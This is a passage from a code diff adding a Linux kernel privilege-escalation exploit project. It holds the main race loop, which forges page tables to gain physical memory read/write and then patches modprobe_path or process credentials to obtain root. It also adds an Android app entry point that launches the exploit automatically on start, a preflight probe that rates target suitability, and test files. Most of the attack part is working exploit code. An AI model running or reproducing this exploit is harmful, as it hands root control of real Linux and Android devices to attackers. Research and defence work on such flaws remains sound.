MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + printf("PRE_ROOT_PROOF open=%d errno=%d (%s)\n", + fd >= 0, saved_errno, strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, MARKER_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, MARKER_PAGES * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < MARKER_PAGES; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", MARKER_PAGES, + MARKER_PAGES * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + source_base = root + SOURCE_ENTRY * PMD_SIZE; + follower_base = root + PUD_SIZE; + fake_base = root + CORRUPT_FIRST_PMD * PMD_SIZE; + + /* Install every VMA before the allocation-sensitive page-table sequence. */ + dummy = mmap((void *)(source_base + PMD_SIZE - PAGE_SIZE), PAGE_SIZE, + PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + follower = mmap((void *)follower_base, PAGE_SIZE, PROT_READ, + MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (mmap((void *)fake_base, FAKE_WINDOW_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED || + dummy == MAP_FAILED || follower == MAP_FAILED) { + perror("install fixed VMAs"); + return 2; + } + + /* Existing page-cache data means these consecutive faults allocate only + * page-table pages. The source PTE page is followed by the follower PMD. */ + if (touch_file_byte(dummy) != 0 || touch_file_byte(follower) != 0) { + perror("fault grooming mappings"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx source=%#lx follower=%#lx fake=%#lx\n", + (unsigned long)root, (unsigned long)source_base, + (unsigned long)follower_base, (unsigned long)fake_base); + fflush(stdout); + + { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_base, PAGE_SIZE, &resident); + + printf("FAKE_WINDOW_PRECONDITION mincore_rc=%d resident=%u\n", + pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + uint64_t *alias; + volatile unsigned int delay; + unsigned long first_present = FAKE_PT_PAGES; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC); + if (fd < 0 || ftruncate(fd, PMD_SIZE) != 0 || + prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + source = mmap((void *)source_base, SOURCE_SIZE, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + SOURCE_PGOFF * PAGE_SIZE); + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, 64 * PAGE_SIZE); + if (source == MAP_FAILED || alias == MAP_FAILED) { + perror("map race views"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + + atomic_store_explicit(&fault_addr, source, memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + while (atomic_load_explicit(&fault_callers, memory_order_acquire) == 0) + sched_yield(); + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); + (void)fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 0, PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + + for (unsigned long pmd = 0; pmd < FAKE_PT_PAGES; pmd++) { + unsigned char probe = 0; + + if (safe_read((const volatile unsigned char *) + (fake_base + pmd * PMD_SIZE), + &probe) != 0) + continue; + if (first_present == FAKE_PT_PAGES) + first_present = pmd; + last_present = pmd; + present_pmds++; + } + if (present_pmds != 0) { + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = fake_base; + winning_pmds = last_present + 1; + printf("PAGE_TABLE_PRIMITIVE round=%d present_pmds=%lu first_pmd=%lu last_pmd=%lu scan_pmds=%lu\n", + i, present_pmds, first_present, last_present, + winning_pmds); + fflush(stdout); + break; + } + munmap(source, SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + close(fd); + if ((i % 100) == 0) { + printf("RACE_PROGRESS round=%d active=%d\n", i, + atomic_load(&active_workers)); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + + /* Only PMD spans observed as present are scanned below. Holes remain + * inaccessible and are skipped through the guarded access helpers. */ + fill_fake_ptes(winning_alias, PHYS_BASE_PFN, 1); + { + unsigned long entries; + unsigned long found_i = (unsigned long)-1; + unsigned long found_page = 0; + unsigned char byte = 0; + + mapped_bytes = winning_pmds * PMD_SIZE; + entries = mapped_bytes / PAGE_SIZE; + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, entries); + fflush(stdout); + + for (unsigned long n = 0; n < entries; n++) { + volatile unsigned char *p = (volatile unsigned char *)winning_fake_base + n * PAGE_SIZE; + if (safe_read(p, &byte) != 0) + continue; + if (memcmp((const void *)p, MARKER_MAGIC, sizeof(MARKER_MAGIC)) == 0) { + memcpy(&found_page, (const void *)(p + 32), sizeof(found_page)); + if (found_page < MARKER_PAGES) { + found_i = n; + break; + } + } + } + if (found_i == (unsigned long)-1) { + printf("PHYSICAL_MARKER_NOT_FOUND sampled_pages=%lu\n", entries); + return 5; + } + { + volatile unsigned char *phys = (volatile unsigned char *)winning_fake_base + found_i * PAGE_SIZE; + unsigned char *orig = (unsigned char *)marker + found_page * PAGE_SIZE; + unsigned char before = orig[128]; + int write_ok = 0; + + if (safe_write(phys + 128, (unsigned char)(before ^ 0xa5)) == 0) + write_ok = orig[128] == (unsigned char)(before ^ 0xa5); + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=%d\n", + found_i, PHYS_BASE_PFN + found_i, found_page, + before, orig[128], write_ok); + fflush(stdout); + if (!write_ok) + return 6; + } + } + + { + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + int credentials_patched = 0; + int root_helper_executed = 0; + unsigned int window_index = 0; + + for (unsigned long base_pfn = PHYS_BASE_PFN; + base_pfn < PHYS_SCAN_LIMIT_PFN; + base_pfn += window_pages) { + if (remap_physical_window(winning_alias, + tlb_flush_pad, + base_pfn, + window_index++) != 0) { + perror("remap physical window"); + return 7; + } + printf("PHYS_WINDOW_REMAP base_pfn=%#lx bytes=%lu\n", + base_pfn, mapped_bytes); + fflush(stdout); + if (patch_modprobe_path(winning_fake_base, + mapped_bytes, base_pfn) == 0) { + root_helper_executed = 1; + break; + } + if (patch_current_credentials(winning_fake_base, + mapped_bytes, + base_pfn) == 0) { + credentials_patched = 1; + break; + } + } + if (root_helper_executed) { + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u root_execution=modprobe_helper\n", + target_euid); + fflush(stdout); + return 0; + } + if (!credentials_patched) { + printf("CREDENTIAL_PATCH_FAILED\n"); + return 7; + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return 8; + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return 9; + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + return 0; + + (void)winning_source; + (void)winning_fd; + printf("EXPLOIT_STAGE_DONE primitive=controlled_fake_page_tables uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 0; +} + +static int dirtycrow_main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + const char *env_rounds = getenv("XARR_ROUNDS"); + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (prove_post_root_create() != 0 || create_root_marker() != 0) + return 1; + return 0; + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d source_exec=1 delay_period=%u delay_step=%u fault_access=read soft_dirty_clear=0 tlb_flush_pages=%lu worker_cpus=unbound main_cpu=unbound\n", + rounds, DELAY_PERIOD, DELAY_STEP, TLB_FLUSH_PAGES); + fflush(stdout); + return run_exploit(rounds); +} + + +#include +#include + +#define ANDROID_LOG_TAG "DirtyCrowProbe" + +static void *android_probe_entry(void *opaque) +{ + ANativeActivity *activity = opaque; + char context[128] = { 0 }; + char *argv[] = { (char *)"dirty-crow-native", (char *)"100000", NULL }; + int fd; + int context_fd; + ssize_t context_len; + int rc; + + if (chdir(activity->internalDataPath) != 0) + __android_log_print(ANDROID_LOG_ERROR, ANDROID_LOG_TAG, + "chdir failed: %s", strerror(errno)); + if (mkdir("files", 0700) != 0 && errno != EEXIST) + __android_log_print(ANDROID_LOG_ERROR, ANDROID_LOG_TAG, + "mkdir failed: %s", strerror(errno)); + context_fd = open("/proc/self/attr/current", O_RDONLY | O_CLOEXEC); + context_len = context_fd >= 0 ? read(context_fd, context, + sizeof(context) - 1) : -1; + if (context_fd >= 0) + close(context_fd); + __android_log_print(ANDROID_LOG_INFO, ANDROID_LOG_TAG, + "starting uid=%u euid=%u context=%.*s", + getuid(), geteuid(), context_len > 0 ? (int)context_len : 0, + context); + fd = open("files/probe.log", O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, + 0600); + if (fd < 0) { + __android_log_print(ANDROID_LOG_ERROR, ANDROID_LOG_TAG, + "open log failed: %s", strerror(errno)); + return NULL; + } + if (dup2(fd, STDOUT_FILENO) < 0 || dup2(fd, STDERR_FILENO) < 0) { + __android_log_print(ANDROID_LOG_ERROR, ANDROID_LOG_TAG, + "redirect log failed: %s", strerror(errno)); + close(fd); + return NULL; + } + close(fd); + setvbuf(stdout, NULL, _IOLBF, 0); + setvbuf(stderr, NULL, _IOLBF, 0); + rc = dirtycrow_main(2, argv); + fflush(stdout); + fflush(stderr); + __android_log_print(ANDROID_LOG_INFO, ANDROID_LOG_TAG, + "completed rc=%d uid=%u euid=%u", rc, getuid(), geteuid()); + return (void *)(intptr_t)rc; +} + +void ANativeActivity_onCreate(ANativeActivity *activity, + void *saved_state, size_t saved_state_size) +{ + pthread_t thread; + (void)saved_state; + (void)saved_state_size; + if (pthread_create(&thread, NULL, android_probe_entry, activity) != 0) { + __android_log_print(ANDROID_LOG_ERROR, ANDROID_LOG_TAG, + "pthread_create failed: %s", strerror(errno)); + return; + } + pthread_detach(thread); +} diff --git a/dirty-crow-xarray-lpe/framework/src/dirty_crow_probe.c b/dirty-crow-xarray-lpe/framework/src/dirty_crow_probe.c new file mode 100644 index 0000000..4e7ee84 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/src/dirty_crow_probe.c @@ -0,0 +1,331 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MFD_CLOEXEC +#define MFD_CLOEXEC 0x0001U +#endif + +#define PMD_BYTES (2UL * 1024UL * 1024UL) +#define TEXT_CAP 4096 + +struct collapse_result { + int rc; + int error; +}; + +static int read_text(const char *path, char *buffer, size_t capacity) +{ + int fd; + ssize_t length; + + if (capacity == 0) + return -1; + fd = open(path, O_RDONLY | O_CLOEXEC); + if (fd < 0) + return -1; + length = read(fd, buffer, capacity - 1); + close(fd); + if (length < 0) + return -1; + buffer[length] = '\0'; + while (length > 0 && (buffer[length - 1] == '\n' || + buffer[length - 1] == '\r')) + buffer[--length] = '\0'; + return 0; +} + +static void json_string(const char *value) +{ + const unsigned char *cursor = (const unsigned char *)value; + + putchar('"'); + for (; *cursor; cursor++) { + switch (*cursor) { + case '"': + fputs("\\\"", stdout); + break; + case '\\': + fputs("\\\\", stdout); + break; + case '\b': + fputs("\\b", stdout); + break; + case '\f': + fputs("\\f", stdout); + break; + case '\n': + fputs("\\n", stdout); + break; + case '\r': + fputs("\\r", stdout); + break; + case '\t': + fputs("\\t", stdout); + break; + default: + if (*cursor < 0x20) + printf("\\u%04x", *cursor); + else + putchar(*cursor); + } + } + putchar('"'); +} + +static void active_policy(const char *policy, char *active, size_t capacity) +{ + const char *left; + const char *right; + size_t length; + + if (capacity == 0) + return; + active[0] = '\0'; + left = strchr(policy, '['); + right = left ? strchr(left + 1, ']') : NULL; + if (!left || !right || right == left + 1) + return; + length = (size_t)(right - left - 1); + if (length >= capacity) + length = capacity - 1; + memcpy(active, left + 1, length); + active[length] = '\0'; +} + +static int allowed_cpu_count(char *list, size_t capacity) +{ + cpu_set_t set; + int count = 0; + size_t used = 0; + + if (sched_getaffinity(0, sizeof(set), &set) != 0) + return -1; + if (capacity) + list[0] = '\0'; + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + int written; + + if (!CPU_ISSET(cpu, &set)) + continue; + written = snprintf(list + used, capacity > used ? capacity - used : 0, + "%s%d", count ? "," : "", cpu); + if (written > 0 && capacity > used) { + size_t advance = (size_t)written; + used += advance < capacity - used ? advance : capacity - used - 1; + } + count++; + } + return count; +} + +static unsigned long long parse_hex_file(const char *path, bool *ok) +{ + char text[128]; + char *end; + unsigned long long value; + + *ok = false; + if (read_text(path, text, sizeof(text)) != 0) + return 0; + errno = 0; + value = strtoull(text, &end, 0); + if (errno || end == text) + return 0; + *ok = true; + return value; +} + +static void memory_block_summary(unsigned long long *online_blocks, + unsigned long long *highest_index, + unsigned long long *block_bytes) +{ + const char *root = "/sys/devices/system/memory"; + char path[512]; + char state[64]; + DIR *directory; + struct dirent *entry; + bool block_ok; + + *online_blocks = 0; + *highest_index = 0; + *block_bytes = 0; + snprintf(path, sizeof(path), "%s/block_size_bytes", root); + *block_bytes = parse_hex_file(path, &block_ok); + if (!block_ok) + *block_bytes = 0; + directory = opendir(root); + if (!directory) + return; + while ((entry = readdir(directory)) != NULL) { + char *end; + unsigned long long index; + + if (strncmp(entry->d_name, "memory", 6) != 0 || + entry->d_name[6] < '0' || entry->d_name[6] > '9') + continue; + errno = 0; + index = strtoull(entry->d_name + 6, &end, 10); + if (errno || *end != '\0') + continue; + snprintf(path, sizeof(path), "%s/%s/state", root, entry->d_name); + if (read_text(path, state, sizeof(state)) == 0 && + strcmp(state, "online") != 0 && strcmp(state, "online_movable") != 0) + continue; + (*online_blocks)++; + if (index > *highest_index) + *highest_index = index; + } + closedir(directory); +} + +static struct collapse_result probe_collapse(void) +{ + struct collapse_result result = { .rc = -1, .error = 0 }; + void *reservation = MAP_FAILED; + unsigned char *mapping = MAP_FAILED; + uintptr_t aligned; + int fd = -1; + + fd = (int)syscall(SYS_memfd_create, "dirty-crow-probe", MFD_CLOEXEC); + if (fd < 0) { + result.error = errno; + return result; + } + if (ftruncate(fd, PMD_BYTES) != 0) { + result.error = errno; + goto out; + } + reservation = mmap(NULL, 2UL * PMD_BYTES, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) { + result.error = errno; + goto out; + } + aligned = ((uintptr_t)reservation + PMD_BYTES - 1) & + ~(PMD_BYTES - 1); + mapping = mmap((void *)aligned, PMD_BYTES, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0); + if (mapping == MAP_FAILED) { + result.error = errno; + goto out; + } + for (size_t offset = 0; offset < PMD_BYTES; + offset += (size_t)sysconf(_SC_PAGESIZE)) + mapping[offset] = (unsigned char)(offset >> 12); + errno = 0; + result.rc = madvise(mapping, PMD_BYTES, MADV_COLLAPSE); + result.error = result.rc == 0 ? 0 : errno; +out: + if (reservation != MAP_FAILED) + munmap(reservation, 2UL * PMD_BYTES); + close(fd); + return result; +} + +int main(int argc, char **argv) +{ + struct utsname uts; + struct collapse_result collapse; + char shmem_policy[TEXT_CAP] = "unavailable"; + char shmem_active[128] = "unknown"; + char cpu_list[TEXT_CAP]; + char requirement = '\0'; + long page_size; + long available_pages; + int cpus; + unsigned long long online_blocks; + unsigned long long highest_index; + unsigned long long block_bytes; + unsigned long long max_sysfs_phys = 0; + const char *tier; + bool architecture_ok; + bool tier_ok = true; + + if (argc == 3 && strcmp(argv[1], "--require-tier") == 0) + requirement = argv[2][0]; + else if (argc != 1) { + fprintf(stderr, "usage: %s [--require-tier A|B]\n", argv[0]); + return 2; + } + if (requirement && requirement != 'A' && requirement != 'B') { + fprintf(stderr, "require-tier must be A or B\n"); + return 2; + } + if (uname(&uts) != 0) { + perror("uname"); + return 2; + } + page_size = sysconf(_SC_PAGESIZE); + available_pages = sysconf(_SC_AVPHYS_PAGES); + cpus = allowed_cpu_count(cpu_list, sizeof(cpu_list)); + if (read_text("/sys/kernel/mm/transparent_hugepage/shmem_enabled", + shmem_policy, sizeof(shmem_policy)) == 0) + active_policy(shmem_policy, shmem_active, sizeof(shmem_active)); + collapse = probe_collapse(); + memory_block_summary(&online_blocks, &highest_index, &block_bytes); + if (block_bytes && online_blocks) + max_sysfs_phys = (highest_index + 1) * block_bytes; + architecture_ok = strcmp(uts.machine, "x86_64") == 0 && page_size == 4096; + + if (architecture_ok && collapse.rc == 0) + tier = "A"; + else if (architecture_ok && + (strcmp(shmem_active, "always") == 0 || + strcmp(shmem_active, "within_size") == 0 || + strcmp(shmem_active, "advise") == 0 || + strcmp(shmem_active, "force") == 0)) + tier = "B"; + else + tier = "unsupported"; + if (requirement == 'A') + tier_ok = strcmp(tier, "A") == 0; + else if (requirement == 'B') + tier_ok = strcmp(tier, "A") == 0 || strcmp(tier, "B") == 0; + + fputs("{\n \"schema_version\": 1,\n \"kernel\": {\n \"release\": ", stdout); + json_string(uts.release); + fputs(",\n \"machine\": ", stdout); + json_string(uts.machine); + printf("\n },\n \"runtime\": {\n \"uid\": %lu,\n \"euid\": %lu,\n" + " \"page_size\": %ld,\n \"allowed_cpu_count\": %d,\n" + " \"allowed_cpus\": ", + (unsigned long)getuid(), (unsigned long)geteuid(), page_size, cpus); + json_string(cpu_list); + printf(",\n \"available_memory_bytes\": %llu\n },\n", + page_size > 0 && available_pages > 0 ? + (unsigned long long)page_size * (unsigned long long)available_pages : 0ULL); + fputs(" \"triggers\": {\n \"madv_collapse\": {\n", stdout); + printf(" \"supported\": %s,\n \"errno\": %d\n },\n", + collapse.rc == 0 ? "true" : "false", collapse.error); + fputs(" \"shmem_policy\": ", stdout); + json_string(shmem_policy); + fputs(",\n \"shmem_active\": ", stdout); + json_string(shmem_active); + fputs("\n },\n \"physical_memory\": {\n", stdout); + printf(" \"online_block_count\": %llu,\n \"block_size_bytes\": %llu,\n" + " \"exclusive_upper_bound\": %llu\n },\n", + online_blocks, block_bytes, max_sysfs_phys); + fputs(" \"support\": {\n \"tier\": ", stdout); + json_string(tier); + printf(",\n \"requirement_met\": %s,\n", tier_ok ? "true" : "false"); + fputs(" \"recovery\": \"reboot_only_after_primitive\",\n", stdout); + fputs(" \"boundary\": \"Preflight only; support tier does not prove vulnerability or exploit reliability.\"\n }\n}\n", stdout); + return tier_ok ? 0 : 3; +} diff --git a/dirty-crow-xarray-lpe/framework/tests/proof_contract_harness.c b/dirty-crow-xarray-lpe/framework/tests/proof_contract_harness.c new file mode 100644 index 0000000..53ed410 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/proof_contract_harness.c @@ -0,0 +1,17 @@ +#include +#include + +#include "../backends/proof_contract.h" + +int main(int argc, char **argv) +{ + if (argc == 1) + return dirty_crow_reject_forbidden_payload_environment() == 0 ? 0 : 2; + if (argc == 3 && strcmp(argv[1], "helper-path") == 0) { + int valid = dirty_crow_valid_modprobe_helper_path(argv[2]); + + printf("HELPER_PATH valid=%d path=%s\n", valid, argv[2]); + return valid ? 0 : 2; + } + return 64; +} diff --git a/dirty-crow-xarray-lpe/framework/tests/test_acquire.py b/dirty-crow-xarray-lpe/framework/tests/test_acquire.py new file mode 100644 index 0000000..bdd0a62 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_acquire.py @@ -0,0 +1,236 @@ +from __future__ import annotations + +import contextlib +import hashlib +import io +import json +import tempfile +import unittest +from pathlib import Path + +from dirtycrow.acquire import ( + AcquisitionError, + acquire_profile, + load_acquisition_profile, +) +from dirtycrow.cli import main + + +def _sha256(payload: bytes) -> str: + return hashlib.sha256(payload).hexdigest() + + +class AcquisitionTests(unittest.TestCase): + def _write_local_profile(self, root: Path) -> tuple[Path, dict[str, bytes]]: + root.mkdir(parents=True, exist_ok=True) + payloads = { + "vmlinuz": b"exact vendor kernel image", + "initrd.img": b"reproducible initramfs", + "rootfs.qcow2": b"disposable rootfs image", + } + roles = { + "vmlinuz": "kernel", + "initrd.img": "initrd", + "rootfs.qcow2": "rootfs", + } + artifacts = [] + for name, payload in payloads.items(): + (root / name).write_bytes(payload) + artifacts.append( + { + "name": name, + "role": roles[name], + "sha256": _sha256(payload), + "size": len(payload), + "source": {"type": "local", "path": name}, + } + ) + profile = root / "acquire.json" + profile.write_text( + json.dumps( + { + "schema_version": 1, + "target": { + "id": "debian-6.12.105-amd64", + "provider": "Debian", + "release": "13", + "architecture": "x86_64", + "package": "linux-image-6.12.105+deb13-amd64", + "version": "6.12.105-1", + }, + "artifacts": artifacts, + } + ), + encoding="utf-8", + ) + return profile, payloads + + def _write_https_profile( + self, root: Path, payload: bytes, url: str = "https://example.test/kernel" + ) -> Path: + root.mkdir(parents=True, exist_ok=True) + profile = root / "acquire.json" + profile.write_text( + json.dumps( + { + "schema_version": 1, + "target": { + "id": "upstream-test", + "provider": "upstream", + "release": "test", + "architecture": "x86_64", + }, + "artifacts": [ + { + "name": "vmlinuz", + "role": "kernel", + "sha256": _sha256(payload), + "size": len(payload), + "source": {"type": "https", "url": url}, + } + ], + } + ), + encoding="utf-8", + ) + return profile + + def test_local_acquisition_is_content_addressed_and_repeatable(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_path, payloads = self._write_local_profile(root / "profile") + profile = load_acquisition_profile(profile_path) + store = root / "store" + + first = acquire_profile(profile, store) + second = acquire_profile(profile, store) + + self.assertEqual(first, second) + self.assertTrue(first["passed"]) + self.assertEqual(first["artifact_count"], 3) + for payload in payloads.values(): + digest = _sha256(payload) + self.assertEqual((store / "sha256" / digest).read_bytes(), payload) + + def test_tampered_local_source_is_rejected(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_path, _ = self._write_local_profile(root / "profile") + profile = load_acquisition_profile(profile_path) + (profile_path.parent / "vmlinuz").write_bytes(b"tampered") + + with self.assertRaisesRegex(AcquisitionError, "size mismatch"): + acquire_profile(profile, root / "store") + + def test_insecure_remote_source_is_rejected(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = self._write_https_profile( + Path(directory), b"kernel", url="http://example.test/kernel" + ) + with self.assertRaisesRegex(AcquisitionError, "must use HTTPS"): + load_acquisition_profile(profile_path) + + def test_duplicate_artifact_names_are_rejected(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path, _ = self._write_local_profile(Path(directory)) + payload = json.loads(profile_path.read_text(encoding="utf-8")) + payload["artifacts"][1]["name"] = payload["artifacts"][0]["name"] + profile_path.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(AcquisitionError, "names must be unique"): + load_acquisition_profile(profile_path) + + def test_https_acquisition_streams_and_verifies_bytes(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + payload = b"downloaded exact kernel" + profile = load_acquisition_profile( + self._write_https_profile(root / "profile", payload) + ) + requests: list[str] = [] + + def open_url(request: object, *, timeout: int) -> _FakeResponse: + requests.append(request.full_url) + self.assertEqual(timeout, 15) + return _FakeResponse(payload, "https://cdn.example.test/kernel") + + report = acquire_profile( + profile, root / "store", open_url=open_url, timeout_seconds=15 + ) + + self.assertEqual(requests, ["https://example.test/kernel"]) + self.assertEqual(report["artifacts"][0]["source"]["type"], "https") + self.assertEqual( + (root / "store" / "sha256" / _sha256(payload)).read_bytes(), payload + ) + + def test_https_redirect_downgrade_is_rejected(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + payload = b"kernel" + profile = load_acquisition_profile( + self._write_https_profile(root / "profile", payload) + ) + with self.assertRaisesRegex(AcquisitionError, "must use HTTPS"): + acquire_profile( + profile, + root / "store", + open_url=lambda request, timeout: _FakeResponse( + payload, "http://mirror.example.test/kernel" + ), + ) + + def test_corrupt_existing_store_object_is_rejected(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_path, payloads = self._write_local_profile(root / "profile") + profile = load_acquisition_profile(profile_path) + store_object = root / "store" / "sha256" / _sha256(payloads["vmlinuz"]) + store_object.parent.mkdir(parents=True) + store_object.write_bytes(b"corrupt") + with self.assertRaisesRegex(AcquisitionError, "store corruption"): + acquire_profile(profile, root / "store") + + def test_cli_acquire_emits_verified_manifest(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_path, _ = self._write_local_profile(root / "profile") + output = root / "manifest.json" + status = main( + [ + "acquire", + "--profile", + str(profile_path), + "--store", + str(root / "store"), + "--output", + str(output), + ] + ) + report = json.loads(output.read_text(encoding="utf-8")) + + self.assertEqual(status, 0) + self.assertTrue(report["passed"]) + self.assertEqual(report["target"]["id"], "debian-6.12.105-amd64") + + +class _FakeResponse: + def __init__(self, payload: bytes, final_url: str) -> None: + self._stream = io.BytesIO(payload) + 